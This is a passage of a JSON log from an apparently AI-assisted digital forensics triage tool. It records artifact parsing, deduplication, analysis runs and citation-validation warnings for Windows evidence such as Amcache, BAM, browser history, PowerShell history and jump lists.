      "matched_header": ""
    },
    {
      "cited": "p.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "pa.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "pb.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "install_wormhole",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_modified",
      "match_status": "exact",
      "matched_header": "last_modified"
    }
  ],
  "warning_count": 13,
  "warnings": [
    "Note: AI cited column 'csrss.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'volrest.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ri.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'p.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'pa.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'pb.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'install_wormhole' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Autorunsc.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:31:27.511Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:31:27.595Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "mtime_regf",
    "program_id",
    "digest",
    "path",
    "hash_path",
    "name",
    "publisher",
    "version",
    "bin_file_version",
    "product_name",
    "product_version",
    "link_date",
    "bin_product_version",
    "size",
    "language",
    "is_pefile",
    "is_oscomponent",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "install_date_arp_last_modified",
    "install_date_from_link_file",
    "language_code",
    "msi_package_code",
    "msi_product_code",
    "package_full_name",
    "type",
    "manifest_path",
    "os_version_at_install_time",
    "program_instance_id",
    "registry_key_path",
    "root_dir_path",
    "source",
    "uninstall_string",
    "categories",
    "discovery_method",
    "friendly_name",
    "icon",
    "is_active",
    "is_connected",
    "is_machine_container",
    "is_networked",
    "is_paired",
    "manufacturer",
    "model_id",
    "model_name",
    "model_number",
    "primary_category",
    "state",
    "driver_name",
    "inf",
    "driver_version",
    "product",
    "wdf_version",
    "driver_company",
    "driver_package_strong_name",
    "service",
    "driver_signed",
    "driver_is_kernel_mode",
    "last_write_time",
    "driver_timestamp",
    "image_size"
  ],
  "missing_columns": [
    "ts",
    "last_modified_timestamp",
    "created_timestamp",
    "company_name",
    "file_size"
  ]
}
2026-06-13T07:31:27.660Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "digest",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/amcache.csv"
}
2026-06-13T07:31:27.668Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__amcache.csv",
  "annotated_rows": 2,
  "artifact_key": "amcache",
  "removed_records": 9,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/amcache.csv",
  "variant_columns": [
    "install_date"
  ]
}
2026-06-13T07:33:40.503Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "duration_seconds": 132.988418,
  "status": "success",
  "token_count": 1778
}
2026-06-13T07:33:40.511Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "row_refs": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "timestamps": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "f6b2ac3a5bcdd89d15348320323c14039a4139c0",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "procdump.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "desktop",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "f718ce10e0190870edcbee77ab6a11e39d154584",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "winpcap",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "c99aa678f387c00c4470fa3cd7b037d26720960d",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rpcapd",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "install_date",
      "match_status": "exact",
      "matched_header": "install_date"
    },
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited column 'f6b2ac3a5bcdd89d15348320323c14039a4139c0' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'procdump.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'desktop' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'f718ce10e0190870edcbee77ab6a11e39d154584' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'winpcap' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'c99aa678f387c00c4470fa3cd7b037d26720960d' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'rpcapd' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:33:40.515Z analysis_started
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:33:40.520Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__bam.csv",
  "artifact_key": "bam",
  "projection_columns": [
    "ts",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/bam.csv"
}
2026-06-13T07:33:40.524Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__bam.csv",
  "annotated_rows": 10,
  "artifact_key": "bam",
  "removed_records": 24,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/bam.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:37:21.731Z analysis_completed
{
  "artifact_key": "bam",
  "artifact_name": "BAM/DAM",
  "duration_seconds": 221.212458,
  "status": "success",
  "token_count": 772
}
2026-06-13T07:37:21.735Z citation_validation
{
  "artifact_key": "bam",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "cmd.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "powershell.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mstsc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'cmd.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'powershell.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mstsc.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:37:21.738Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:37:21.747Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/userassist.csv"
}
2026-06-13T07:37:21.750Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__userassist.csv",
  "annotated_rows": 3,
  "artifact_key": "userassist",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:41:04.095Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 222.354141,
  "status": "success",
  "token_count": 1186
}
2026-06-13T07:41:04.104Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "sc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "schtasks.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "sdelete.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "powershell.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'sc.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'schtasks.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'sdelete.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'powershell.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:41:04.109Z analysis_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:41:04.115Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__recyclebin.csv",
  "artifact_key": "recyclebin",
  "projection_columns": [
    "ts",
    "path",
    "deleted_path",
    "filesize",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/recyclebin.csv"
}
2026-06-13T07:41:04.128Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__recyclebin.csv",
  "annotated_rows": 0,
  "artifact_key": "recyclebin",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/recyclebin.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:43:30.760Z analysis_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "duration_seconds": 146.647487,
  "status": "success",
  "token_count": 507
}
2026-06-13T07:43:30.763Z citation_validation
{
  "artifact_key": "recyclebin",
  "citation_counts": {
    "columns": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 1,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:43:30.766Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:43:30.834Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/browser.history.csv"
}
2026-06-13T07:43:30.837Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__browser.history.csv",
  "annotated_rows": 135,
  "artifact_key": "browser.history",
  "removed_records": 210,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:43:30.999Z chunked_analysis_started
{
  "artifact_key": "browser.history",
  "chunk_reason": "prompt_plus_inlined_CSV_attachment_fallback",
  "csv_budget_per_chunk": 195770,
  "total_chunks": 2
}
2026-06-13T07:51:10.127Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "chunked": true,
  "duration_seconds": 459.358526,
  "processing_warnings": [],
  "status": "success",
  "token_count": 1980
}
2026-06-13T07:51:10.144Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "timestamps": {
      "checked": 18,
      "skipped": 0,
      "total": 18
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "sendspace.com",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "tdungan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "bitcoinwhoswho.com",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "iexplore",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "title",
      "match_status": "exact",
      "matched_header": "title"
    },
    {
      "cited": "host",
      "match_status": "exact",
      "matched_header": "host"
    },
    {
      "cited": "visit_type",
      "match_status": "exact",
      "matched_header": "visit_type"
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'sendspace.com' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'tdungan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'bitcoinwhoswho.com' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'iexplore' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:51:10.148Z analysis_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:51:10.154Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__browser.downloads.csv",
  "artifact_key": "browser.downloads",
  "projection_columns": [
    "ts_start",
    "ts_end",
    "browser",
    "path",
    "url",
    "size",
    "state",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/browser.downloads.csv"
}
2026-06-13T07:51:10.159Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__browser.downloads.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.downloads",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/browser.downloads.csv",
  "variant_columns": [
    "ts_start",
    "ts_end"
  ]
}
2026-06-13T07:52:18.837Z analysis_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "duration_seconds": 68.686012,
  "status": "success",
  "token_count": 487
}
2026-06-13T07:52:18.843Z citation_validation
{
  "artifact_key": "browser.downloads",
  "citation_counts": {
    "columns": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "DashlaneInst.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_start",
      "match_status": "exact",
      "matched_header": "ts_start"
    },
    {
      "cited": "size",
      "match_status": "exact",
      "matched_header": "size"
    },
    {
      "cited": "state",
      "match_status": "exact",
      "matched_header": "state"
    },
    {
      "cited": "tdungan",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'DashlaneInst.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'tdungan' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:52:18.846Z analysis_started
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:52:18.851Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__powershell_history.csv",
  "artifact_key": "powershell_history",
  "projection_columns": [
    "mtime",
    "order",
    "command",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/powershell_history.csv"
}
2026-06-13T07:52:18.855Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__powershell_history.csv",
  "annotated_rows": 0,
  "artifact_key": "powershell_history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/powershell_history.csv",
  "variant_columns": [
    "mtime"
  ]
}
2026-06-13T07:53:45.765Z analysis_completed
{
  "artifact_key": "powershell_history",
  "artifact_name": "PowerShell History",
  "duration_seconds": 86.915856,
  "status": "success",
  "token_count": 1560
}
2026-06-13T07:53:45.771Z citation_validation
{
  "artifact_key": "powershell_history",
  "citation_counts": {
    "columns": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "row_refs": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "ntdsutil",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "NTDS.dit",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SYSTEM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SECURITY",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "perfmon",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "del",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "copy",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mv",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "robocopy",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 11,
  "warnings": [
    "Note: AI cited column 'ntdsutil' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'NTDS.dit' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SYSTEM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SECURITY' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'perfmon' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'del' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'copy' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mv' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'robocopy' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:53:45.775Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:53:45.793Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T07:53:45.797Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__jumplist.automatic_destination.csv",
  "annotated_rows": 2,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 5,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T07:58:13.845Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "duration_seconds": 268.066422,
  "status": "success",
  "token_count": 1582
}
2026-06-13T07:58:13.872Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 16,
      "skipped": 0,
      "total": 16
    },
    "row_refs": {
      "checked": 13,
      "skipped": 0,
      "total": 13
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_net_name",
      "match_status": "exact",
      "matched_header": "lnk_net_name"
    },
    {
      "cited": "common_path_suffix",
      "match_status": "exact",
      "matched_header": "common_path_suffix"
    },
    {
      "cited": "lnk_mtime",
      "match_status": "exact",
      "matched_header": "lnk_mtime"
    },
    {
      "cited": "MH_Eyes_Only",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Targets",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "tdungan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "username",
      "match_status": "exact",
      "matched_header": "username"
    },
    {
      "cited": "application_name",
      "match_status": "exact",
      "matched_header": "application_name"
    },
    {
      "cited": "local_base_path",
      "match_status": "exact",
      "matched_header": "local_base_path"
    }
  ],
  "warning_count": 7,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'MH_Eyes_Only' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Targets' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'tdungan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'StarkExpo' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'explorer.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Perfmon' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:58:13.876Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:58:13.889Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/a66612b5-ee40-416e-8eb2-49ec34b9b3b1/parsed_deduplicated/a66612b5-ee40-416e-8eb2-49ec34b9b3b1__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
